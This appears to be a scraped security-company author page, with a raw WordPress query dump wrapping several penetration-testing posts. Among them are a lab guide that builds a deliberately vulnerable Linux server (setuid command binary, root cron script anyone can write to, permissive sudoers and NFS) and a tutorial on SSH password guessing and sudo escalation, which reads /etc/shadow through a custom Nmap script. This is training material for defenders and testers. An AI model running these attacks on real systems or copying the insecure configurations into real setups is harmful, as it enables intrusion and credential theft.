Scott Sutherland

Scott is currently responsible for the development, and execution of network penetration testing at NetSPI. His role includes researching and developing tools, techniques, and methodologies used during network and application penetration tests. Scott has been providing IT security services to medium sized to Fortune 50 companies for over 10 years. As an active participant in the information security community, Scott also contributes technical security blog posts, whitepapers, and presentations on a regular basis through NetSPI. Published presentations can be found here. Scott's most recent project is PowerUpSQL.
More by Scott Sutherland
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "17"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "17"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "17"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "17"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 
            [update_post_term_cache] => 1
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "17"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "17"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "17"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "17"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => SELECT   wp_posts.* FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{c32c2c30aaf4602cea981d35cb11dc287bb9f8ccc06d7237d287e953399755a5}\"17\"{c32c2c30aaf4602cea981d35cb11dc287bb9f8ccc06d7237d287e953399755a5}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{c32c2c30aaf4602cea981d35cb11dc287bb9f8ccc06d7237d287e953399755a5}\"17\"{c32c2c30aaf4602cea981d35cb11dc287bb9f8ccc06d7237d287e953399755a5}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish')) GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC 
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 25884
                    [post_author] => 53
                    [post_date] => 2021-07-12 15:36:48
                    [post_date_gmt] => 2021-07-12 20:36:48
                    [post_content] => 

Date: Tuesday, August 17
Time: 12:00 - 1:00 PM CT

Ransomware is a strategy for adversaries to make money – a strategy that’s proven successful. In this webinar, NetSPI’s Scott Sutherland and Alexander Polce Leary will cover how ransomware works, ransomware trends to watch, best practices for prevention, and more. At the core of the discussion, Scott and Alexander will explain how to build detections for common tactics, techniques, and procedures (TTPs) used by ransomware families and how to validate they work, ongoing, as part of the larger security program. Participants will leave this webinar with actionable advice to ensure their organization is more resilient to ever-evolving ransomware attacks.

[post_title] => How to Build and Validate Ransomware Attack Detections [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => build-validate-ransomware-attack-detections [to_ping] => [pinged] => [post_modified] => 2021-07-12 16:08:03 [post_modified_gmt] => 2021-07-12 21:08:03 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=25884 [menu_order] => 1 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [1] => WP_Post Object ( [ID] => 19547 [post_author] => 2 [post_date] => 2020-08-04 11:37:01 [post_date_gmt] => 2020-08-04 16:37:01 [post_content] =>

Mainframes run the global economy and are at the heart of many of the world’s largest financial institutions. During this webinar, we will be interviewing our Mainframe security partner Chad Rikansrud from BMC. Chad will be discussing what mainframes are, how they can be a risk, and what companies can do to identify security holes before the bad guys do.

https://youtu.be/K0JNYXU-86w
[post_title] => Why zOS Mainframe Security Matters [post_excerpt] => Mainframes run the global economy and are at the heart of the many of the world’s largest financial organizations. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => why-zos-mainframe-security-matters [to_ping] => [pinged] => [post_modified] => 2021-06-02 08:54:39 [post_modified_gmt] => 2021-06-02 08:54:39 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=19547 [menu_order] => 28 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [2] => WP_Post Object ( [ID] => 19230 [post_author] => 2 [post_date] => 2020-06-02 13:49:41 [post_date_gmt] => 2020-06-02 13:49:41 [post_content] => Your employees were probably working from home more and more anyway, but the COVID-19 situation has taken work from home to a whole new level for many companies. Have you really considered all the security implications of moving to a remote workforce model? Chances are you and others are more focused on just making sure people can work effectively and are less focused on security. But at times of crisis – hackers are known to increase their efforts to take advantage of any weak links they can find in an organization’s infrastructure. Host-based security represents a large surface of attack that continues to grow as employees become increasingly mobile and work from home more often. Join our webinar to make sure your vulnerability management program is covering the right bases to help mitigate some of the implicit risks associated with a remote workforce. [post_title] => Host-Based Security: Staying Secure While Your Employees Work from Home [post_excerpt] => Watch this on-demand webinar to make sure you are vulnerability management program is covering the right bases to help mitigate some of the implicit risks associated with a remote workforce. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => host-based-security-staying-secure-while-your-employees-work-from-home-2 [to_ping] => [pinged] => [post_modified] => 2021-06-02 08:55:51 [post_modified_gmt] => 2021-06-02 08:55:51 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=19230 [menu_order] => 31 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [3] => WP_Post Object ( [ID] => 19772 [post_author] => 2 [post_date] => 2020-05-20 10:46:24 [post_date_gmt] => 2020-05-20 10:46:24 [post_content] =>

Watch the second webinar in our Lunch & Learn Series below!

Where there is Active Directory, there are SQL Servers. In dynamic enterprise environments, it’s common to see both platforms suffer from misconfigurations that lead to unauthorized system and sensitive data access. During this presentation, Scott covers common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. He also shares a msbuild.exe project file that can be used as an offensive SQL Client during red team engagements when tools like PowerUpSQL are too overt.

This presentation was originally developed for the Troopers20 conference, but due to the current travel constraints we’ll be sharing it online during this webinar.

https://youtu.be/Y0kD-xCZ3aI
[post_title] => SQL Server Hacking Tips for Active Directory Environments Webinar [post_excerpt] => During this presentation, NetSPI's Scott Sutherland covers common ways to target, exploit, and escalate domain privileges through SQL Servers in Active Directory environments. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-hacking-tips-for-active-directory-environments-webinar [to_ping] => [pinged] => [post_modified] => 2021-06-02 08:57:10 [post_modified_gmt] => 2021-06-02 08:57:10 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=19772 [menu_order] => 35 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [4] => WP_Post Object ( [ID] => 11555 [post_author] => 17 [post_date] => 2020-05-04 07:00:04 [post_date_gmt] => 2020-05-04 07:00:04 [post_content] =>
Esc Logo

Evil SQL Client (ESC) is an interactive .NET SQL console client that supports enhanced SQL Server discovery, access, and data exfiltration capabilities. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.

This blog will provide a quick overview of the tool. For those who just want the code, it can be downloaded from https://github.com/NetSPI/ESC.

Why another SQL Server attack client?

PowerUpSQL and DAFT (A fantastic .net port of PowerUpSQL written by Alexander Leary) are great tool sets, but during red team engagements they can be a little too visible.  So to stay under the radar we initially we created a series of standalone .net functions that could be executed via alternative mediums like msbuild inline tasks.  Following that, we had a few clients request to exfiltrate data from the SQL Server using similar evasion techniques.  So we created the Evil SQL Client console to help make the testing process faster and the report screenshots easier to understand :) .

Summary of Executions Options

The Evil SQL Client console and functions can be run via:

  • Esc.exe  Esc.exe is the original application created in visual studio.
  • Esc.csproj is a msbuild script that loads .net code directly through inline tasks. This technique was researched and popularized by Casey Smith (@subTee).  There is a nice article on detection worth reading by Steve Cooper (@BleepSec)  here.
  • Esc.xml is also a msbuild script that uses inline tasks, but it loads the actual esc.exe assembly through reflection.  This technique was shared by @bohops in his GhostBuild project.  It also leverages work done by @mattifestation.
  • Esc-example.ps1 PowerShell script: Loads esc.exe through reflection.  This specific script was generated using Out-CompressDll by @mattifestation.

Below is a simple screenshot of the the Evil SQL Client console executed via esc.exe:

Start Esc Compile

Below is a simple screenshot of the the Evil SQL Client console being executed through MSBuild:

Esc Msbuild

Summary of Features/Commands

At the moment, ESC does not have full feature parity with the PowerUpSQL or DAFT, but the most useful bits are there. Below is a summary of the features that do exist.

DiscoveryAccessGatherEscalateExfil
Discover fileCheck accessSingle instance queryCheck loginaspwSet File
Discover domainspnCheck defaultpwMulti instance queryCheck uncinjectSet FilePath
Discover broadcastShow accessList serverinfoRun oscmdSet icmp
Show discoveredExport accessList databasesSet icmpip
Export discoveredList tablesSet http
List linksSet httpurl
List logins
List rolemembers
List privy*All query results are exfiltrated via all enabled methods.

For more information on available commands visit: https://github.com/NetSPI/ESC/blob/master/README.md#supportedcommands

Wrap Up

Hopefully, the Evil SQL Client console will prove useful on engagements and help illustrate the need for a larger time investment in detective control development surrounding MSBuild inline task execution, SQL Server attacks, and basic data exfiltration.   For more information regarding the Evil SQL Client (ESC), please visit the github project.

Below are some additional links to get you started on building detections for common malicious Msbuild and SQL Server use:

Good luck and hack responsibly!

[post_title] => Evil SQL Client Console: Msbuild All the Things [post_excerpt] => Evil SQL Client (ESC) is an interactive .net SQL console client that supports enhanced SQL Server discovery, access, and data exfiltration capabilities. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => evil-sql-client-console-msbuild-all-the-things [to_ping] => [pinged] => [post_modified] => 2021-06-08 22:00:18 [post_modified_gmt] => 2021-06-08 22:00:18 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11555 [menu_order] => 134 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [5] => WP_Post Object ( [ID] => 18158 [post_author] => 2 [post_date] => 2020-04-07 10:18:04 [post_date_gmt] => 2020-04-07 15:18:04 [post_content] =>

During this webinar we’ll review how to create, import, export, and modify CLR assemblies in SQL Server with the goal of privilege escalation, OS command execution, and persistence. Scott will also share a few PowerUpSQL functions that can be used to execute the CLR attacks on a larger scale in Active Directory environments.

https://youtu.be/A_hZHwisRxc
[post_title] => Attacking SQL Server CLR Assemblies [post_excerpt] => Watch this on-demand webinar on Attacking SQL Server CLR Assemblies with NetSPI’s Scott Sutherland. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => attacking-sql-server-clr-assemblies [to_ping] => [pinged] => [post_modified] => 2021-06-02 08:57:34 [post_modified_gmt] => 2021-06-02 08:57:34 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=18158 [menu_order] => 38 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [6] => WP_Post Object ( [ID] => 11391 [post_author] => 17 [post_date] => 2020-03-27 07:00:57 [post_date_gmt] => 2020-03-27 07:00:57 [post_content] => This blog will share how to configure your own Linux server with the vulnerabilities shown in the "Linux Hacking Case Studies" blog series. That way you can practice building and breaking at home. Similar to the rest of the series, this blog is really intended for people who are new to penetration testing, but hopefully there is a little something for everyone. Enjoy! Below are links to the first four blogs in the series: Below is an overview of what will be covered in this blog:

Lab Scenarios

This section briefly summarizes the lab scenarios that you'll be building which are based on this blog series.
# REMOTE VULNERABILITY LOCAL VULNERABILITY ESCALATION PATH
1 Excessive privileges configured on a Rsync Server Excessive privileges configured on a Rsync server.  Specifically, the server is configured to run as root. Create a new privileged user by adding lines to the shadow, passwd, groups, and sudoers files.
2 Excessive privileges configured on a NFS Export  Insecure setuid binary that allows arbitrary code execution as root. Review setuid binaries and determine which ones have the direct or indirect capability to execute arbitrary code as root.
3 Weak password configured for phpMyAdmin Excessive privileges configured on a script that is executed by a root cron job.  Specifically, the script file is world writable. Write a command to the world writable script that starts a netcat listener.  When the root cron job executes the script the netcat listener will start as root. Then its possible to connect to the netcat listeners remotely to obtain root access. Reverse shell alternatives here.
4 Weak password configured for SSH Insecure sudoers configurations that allows arbitrary code execution as root through sudo applications. Review sudo applications to determine which ones have the direct or indirect capability to execute arbitrary code as root. Examples include sh, VI, python, netcat, and the use of a custom nmap module.

Kali VM and Install Dependencies

For this lab, we'll be building our vulnerable services on a standard Kali image.  If you don't already have a Kali VM, you can download from their site website to get you setup.  Once your Kali VM is ready to go you'll want to install some package that will be required for setting up the scenarios in the lab.  Make sure to sign as root, you'll need those privilege to setup the lab. Install Required Packages
apt-get update
apt-get install nfs-kernel-server
apt-get install nfs-common
apt-get install ufw
apt-get install nmap
Clear Firewall Restrictions
iptables --flush
ufw allow from any to any
ufw status
With that out of the way let's dive in.

Lab Setup: Rsync

Attack Lab: Linux Hacking Case Study Part 1: Rsync In this section we'll cover how to configure an insecure Rsync server.  Once you're logged in as root execute the commands below. Let's start by creating the rsyncd.conf configuration file with the commands below:
echo "motd file = /etc/rsyncd.motd" > /etc/rsyncd.conf
echo "lock file = /var/run/rsync.lock" >> /etc/rsyncd.conf
echo "log file = /var/log/rsyncd.log" >> /etc/rsyncd.conf
echo "pid file = /var/run/rsyncd.pid" >> /etc/rsyncd.conf
echo " " >> /etc/rsyncd.conf
echo "[files]" >> /etc/rsyncd.conf
echo " path = /" >> /etc/rsyncd.conf
echo " comment = Remote file share." >> /etc/rsyncd.conf
echo " uid = 0" >> /etc/rsyncd.conf
echo " gid = 0" >> /etc/rsyncd.conf
echo " read only = no" >> /etc/rsyncd.conf
echo " list = yes" >> /etc/rsyncd.conf
Rsync Next, let's setup the rsync Service:
systemctl enable rsync
systemctl start rsync
or
systemctl restart rsync
Verify the Configuration
rsync 127.0.0.1::
rsync 127.0.0.1::files
Rsync

Lab Setup: NFS

Attack Lab: Linux Hacking Case Study Part 2: NFS In this section we cover how to configure insecure NFS exports and an insecure setuid binary.  Once you're logged in as root execute the commands below.

Configure NFS Exports

Create NFS Exports
echo "/home *(rw,sync,no_root_squash)" >> /etc/exports
echo "/ *(rw,sync,no_root_squash)" >> /etc/exports
Start NFS Server
systemctl start nfs-kernel-server.service
systemctl restart nfs-kernel-server
Verify NFS Export
showmount -e 127.0.0.1
Nfs Create Password Files for Discovery
echo "user2:test" > /root/user2.txt
echo "test:password" > /tmp/creds.txt
echo "test:test" > /tmp/mypassword.txt
Nfs Enable password authentication through SSH.
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service ssh restart

Create Insecure Setuid Binary

Create the source code for a binary that can execute arbitrary OS commands called exec.c:
echo "#include <stdlib.h>" > /home/test/exec.c
echo "#include <stdio.h>" >> /home/test/exec.c
echo "#include <unistd.h>" >> /home/test/exec.c
echo "#include <string.h>" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo "int main(int argc, char *argv[]){" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo " printf("%s,%dn", "USER ID:",getuid());" >> /home/test/exec.c
echo " printf("%s,%dn", "EXEC ID:",geteuid());" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo " printf("Enter OS command:");" >> /home/test/exec.c
echo " char line[100];" >> /home/test/exec.c
echo " fgets(line,sizeof(line),stdin);" >> /home/test/exec.c
echo " line[strlen(line) - 1] = ''; " >> /home/test/exec.c
echo " char * s = line;" >> /home/test/exec.c
echo " char * command[5];" >> /home/test/exec.c
echo " int i = 0;" >> /home/test/exec.c
echo " while(s){" >> /home/test/exec.c
echo " command[i] = strsep(&s," ");" >> /home/test/exec.c
echo " i++;" >> /home/test/exec.c
echo " }" >> /home/test/exec.c
echo " command[i] = NULL;" >> /home/test/exec.c
echo " execvp(command[0],command);" >> /home/test/exec.c
echo "}" >> /home/test/exec.c
Compile exec.c:
gcc -o /home/test/exec exec.c
rm exec.c
Configure setuid on exec so that we can execute commands as root:
chmod 4755 exec
Nfs Verify you can execute the exec binary as a least privilege user. Nfs

Lab Setup: phpMyAdmin

Attack Lab: Linux Hacking Case Study Part 3: phpMyAdmin In this section we'll cover how to configure an insecure instance of phpMyAdmin, a root cron job, and a script that's world writable.  Once you're logged in as root execute the commands below.

Reset the root Password (this is mostly for existing MySQL instances)

We'll start by resetting the root password on the local MySQL instance.  MySQL should be installed by default in Kali, but if it's not on your build you'll have to install it first.
# Stop mysql
/etc/init.d/mysql stop

# Start MySQL in safe mode and log in as root
mysqld_safe --skip-grant-tables&
mysql -uroot

# Select the database to use
use mysql;

# Reset the root password
update user set password=PASSWORD("password") where User='root';
flush privileges;
quit

# Restart the server
/etc/init.d/mysql stop
/etc/init.d/mysql start

# Confirm update by logging in with new password
mysql -u root -p
exit

Install PHPMyAdmin

Alrighty, time to install phpMyAdmin.
apt-get install phpmyadmin
Eventually you will be presented with a GUI. Follow the instructions below.
  1. Choose apache2 for the web server. Warning: When the first prompt appears, apache2 is highlighted, but not selected. If you do not hit Space to select Apache, the installer will not move the necessary files during installation. Hit Space, Tab, and then Enter to select Apache.
  2. Select yes when asked whether to use dbconfig-common to set up the database.
  3. You will be prompted for your database administrator's password, which should be set to "password" to match the lab.
After the installation we still have a few things to do. Let's create a soft link in the webroot to phpmyadmin.
ln -s /usr/share/phpmyadmin/ /var/www/phpmyadmin
Then, let's restart the required services:
service apache2 restart
service mysql restart
Next, let's add the admin user we'll be guessing later.
mysql -u root
use mysql;
CREATE USER 'admin'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'admin'@'%' WITH GRANT OPTION;
exit
Finally, configure excessive privileges in the webroot just for fun:
cd /var/www/
chown -R www-data *
chmod -R 777 *
Web it's all done you should be able to verify the setup by logging into http://127.0.0.1/phymyadmin as the "admin" user with a password of "password". Php

Create a World Writable Script

Next up, let's make a world writable script that will be executed by a cron job.
mkdir /scripts
echo "echo hello world" >> /scripts/rootcron.sh
chmod -R 777 /scripts
Create Root Cron Job Now, let's configure a root cron job to execute the script every minute.
echo "* * * * * /scripts/rootcron.sh" > mycron
You can then verify the cron job was added with the command below.
crontab -l
Cron

Lab Setup: Sudoers

Attack Lab: Linux Hacking Case Study Part 4: Sudoers Horror Stories This section outlines how to create a sudoers configuration that allows the execution of applications that can run arbitrary commands. Create Encrypted Password The command below will allow you create create an encrypted password for generating test users. I originally found this guidance from https://askubuntu.com/questions/94060/run-adduser-non-interactively.
openssl passwd -crypt test
Next you can add new users using the generate password below.  This is not required, but handy for scripting out environments.
useradd -m -p O1Fug755UcscQ -s /bin/bash test
useradd -m -p O1Fug755UcscQ -s /bin/bash user1
useradd -m -p O1Fug755UcscQ -s /bin/bash user2
useradd -m -p O1Fug755UcscQ -s /bin/bash user3
useradd -m -p O1Fug755UcscQ -s /bin/bash tempuser
Create an Insecure Sudoers Configuration The sudoers configuration below with allow vi, nmap, python, and sh to be executed as root by test and user1.
echo "Cmnd_Alias ALLOWED_CMDS = /usr/bin/vi, /usr/bin/nmap, /usr/bin/python3.6, /usr/bin/python3.7, /usr/bin/sh" > /etc/sudoers
echo "test ALL=(ALL) NOPASSWD: ALLOWED_CMDS" >> /etc/sudoers
echo "user1 ALL=(ALL) NOPASSWD: ALLOWED_CMDS" >> /etc/sudoers
When its all done you can log in as the previously created test user to verify the sudo application are available: Sudo

Wrap Up

In this blog we covered how to configure your own vulnerable Linux server, so you can learn in a safe environment.  Hopefully the Linux Hacking Case Studies blog series was useful for those of you who are new the security community.  Stay safe and hack responsibly! [post_title] => Linux Hacking Case Studies Part 5: Building a Vulnerable Linux Server [post_excerpt] => This blog will share how to configure your own vulnerable Linux server so you can practice building and breaking at home. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => linux-hacking-case-studies-part-5-building-a-vulnerable-linux-server [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:59:23 [post_modified_gmt] => 2021-06-08 21:59:23 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11391 [menu_order] => 147 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [7] => WP_Post Object ( [ID] => 11375 [post_author] => 17 [post_date] => 2020-03-26 07:00:16 [post_date_gmt] => 2020-03-26 07:00:16 [post_content] =>

This blog will cover different ways to approach SSH password guessing and attacking sudo applications to gain a root shell on a Linux system. This case study commonly makes appearances in CTFs, but the general approach for attacking weak passwords and sudo applications can be applied to many real world environments. This should be a fun walk through for people new to penetration testing.

This is the fourth of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during network penetration tests.

Below are links to the first three blogs in the series:

Below is an overview of what will be covered in this blog:

Finding SSH Servers

Before we can start password guessing or attacking sudo applications, we need to find some SSH servers to go after.  Luckily Nmap and similar port scanning tools make that pretty easy because most vendors still run SSH on the default port of 22.

Below is a sample Nmap command and screenshot to get you started.

nmap -sS -sV -p22 192.168.1.0/24 -oA sshscan

Once you’ve run the port scan you can quickly parse the results to make a file containing a list of SSH servers to target. Below is a command example and quick video to help illustrate.

grep -i "open" sshscan.gnmap
grep -i "open" sshscan.gnmap | awk -F ' ' '{print $2} '&gt; ssh.txt
cat ssh.txt

Dictionary Attacks against SSH Servers

Password guessing is a pretty basic way to gain initial access to a Linux system, but that doesn’t mean it’s not effective.  We see default and weak SSH passwords configured in at least a half of the environments we look at.

If you haven't done it before, below are a few tips to get you started.

  1. Perform additional scanning and fingerprinting against the target SSH server and try to determine if it’s a specific device. For example, determine if it is a known printer, switch, router, or other miscellaneous network device. In many cases, knowing that little piece of information can lead you to default device passwords and land you on the box.
  2. Based on the service fingerprinting, also try to determine if any applications are running on the system that create local user accounts that might be configured with default passwords.
  3. Lastly, try common username and password combinations. Please be careful with this approach if you don’t understand the account lockout policies though.  No one wants to have a bad day. 😊

Password Lists

In this scenario let’s assume we’re going to test for common user name and password combinations.  That means we'll need a file containing a list of users and a file containing a list of passwords.  Kali ships with some good word lists that provide coverage for common user names and passwords.  Many can be found in the /usr/share/wordlists/.

Wordlists

While those can be handy, for this scenario we're going to create a few small custom lists.

Create users.txt File Containing:

echo user &gt;&gt; users.txt
echo root &gt;&gt; users.txt
echo test &gt;&gt; users.txt

Create passwords.txt File Containing:

echo Password &gt;&gt; passwords.txt
echo Password1 &gt;&gt; passwords.txt
echo toor &gt;&gt; passwords.txt
echo test &gt;&gt; passwords.txt

Password Guessing

Metasploit has modules that can be used to perform online dictionary attacks for most management protocols.  Most of those modules use the protocol_login naming standard. Example: ssh_login . Below is an example of the ssh_login module usage.

msfconsole
spool /root/ssh_login.log
use auxiliary/scanner/ssh/ssh_login
set USER_AS_PASS TRUE
set USER_FILE /root/users.txt
set PASS_FILE /root/password.txt
set rhosts file:///root/ssh.txt
set threads 100
set verbose TRUE
show options
run

Below is what it should look like if you successfully guess a password.

Guessedsshpassword

Here is a quick video example that shows the process of guessing passwords and gaining initial access with Metasploit.

Once you have identified a valid password you can also login using any ssh client.

Sudo


Viewing Sudoers Execution Options

There are a lot of tools like Metasploit, LinEnum, Lynis, LinuxPrivCheck, UnixPrivsEsc, etc that can be used to help identify weak configurations that could be leveraged for privilege escalation, but we are going to focus on insecure sudoers configurations.

Sudoers is configuration file in Linux that defines what commands can be run as what user.  It’s also commonly used to define commands that can be run as root by non-root users.

The sudo command below can be used to see what commands our user can run as root.

sudo -l

Sudo
In this scenario, our user has the ability to run any command as root, but we’ll experiment with a few different command examples.

Exploiting Sudo sh

Unfortunately, we have seen this in a handful of real environments.  Allowing users to execute “sh” or any other shell through sudo provides full root access to the system.  Below is a basic example of dropping into a “sh” shell using sudo.

sudo sh
Sudo


Exploiting Sudo VI

VI is a text editor that's installed by default in most Linux distros.  It’s popular with lots of developers. As a result, it’s semi-common to see developers provided with the ability to execute VI through sudo to facilitate the modification of privileged configurations files used in development environments.  Having the ability to modify any file on the system has its own risks, but VI actually has a built-in function that allows the execution of arbitrary commands.  That means, if you provided a user sudo access to VI, then you have effectively provided them with root access to your server.

Below is a command example:

vi
ESC (press esc key)
:!whoami

Below are some example screenshots showing the process.

Vibreakout

Exploiting Sudo Python

People also love Python.  It’s a scripting language used in every industry vertical and isn’t going away any time soon. It’s actually pretty rare to see Python or other programming engines broadly allowed to execute through sudo, but we have seen it a few times so I thought I’d share an example here.  Python, like most robust scripting and programming languages, supports arbitrary command execution capabilities by default.

Below is a basic command example and a quick video for the sake of illustration:

sudo python –c “import os;os.system(‘whoami’)”

Here are a few quick video examples.

Exploiting Sudo Nmap

Most privilege escalation involves manipulating an application running as a higher privilege into running your code or commands.  One of the many techniques used by attackers is to simply leverage the native functionality of the target application. One common theme we see across many applications is the ability to create and load custom modules, plug-ins, or add-ons.

For the sake of this scenario, let's assume we can run Nmap using sudo and now we want to use it's functionality to execute operating system commands.

When I see that an application like Nmap can be run through sudo, I typically follow a process similar to the one below:

  1. Does Nmap allow me to directly execute os commands?
    No (only in old versions using the -–interactive flag and !whoami)
  2. Does Nmap allow me to extend its functionality?
    Yes, it allows users to load and execute custom .nse modules.
  3. What programming language are the .nse modules written in?
    Nmap .nse modules use the LUA scripting engine.
  4. Does the LUA scripting engine support OS command execution?
    Yep. So let’s build a LUA module to execute operating system commands. It’s important to note that we could potentially write a module to execute shell code or call specific APIs, but in this example we'll keep it simple.

Let's assume at this point you spent a little time reviewing existing Nmap modules/LUA capabilities and developed the following .nse module.

--- SAMPLE SCRIPT
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local command  = stdnse.get_script_args(SCRIPT_NAME .. ".command") or nil
print("Command Output:")
local t = os.execute(command)
description = [[This is a basic script for executing os commands through a Nmap nse module (lua script).]]
---
-- @usage
-- nmap --script=./exec.nse --script-args='command=whoami'
-- @output
-- Output:
-- root
-- @args command
author = "Scott Sutherland"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "discovery", "safe"}
portrule = shortport.http
action = function(host,port)   
end

Once the module is copied to the target system, you can then run your custom module through Nmap. Below you can see the module successfully runs as our unprivileged user.

nmap --script=./exec --script-args='command=whoami'
Sudo
nmap --script=./exec --script-args='command=cat /etc/shadow'
Sudo

Now, you can see we're able to run arbitrary commands in the root user's context, when running our new Nmap module through sudo.

So that’s the Nmap example. Also, for the fun of it, we occasionally configure ncat in sudoers when hosting CTFs, but to be honest I've never seen that in the real world. Either way, the video below shows both the Nmap and ncat scenarios.

Wrap Up

In this blog we talked about different ways to approach SSH password guessing and attacking sudo applications. I hope it was useful information for those new the security community.  Good luck and hack responsibly!

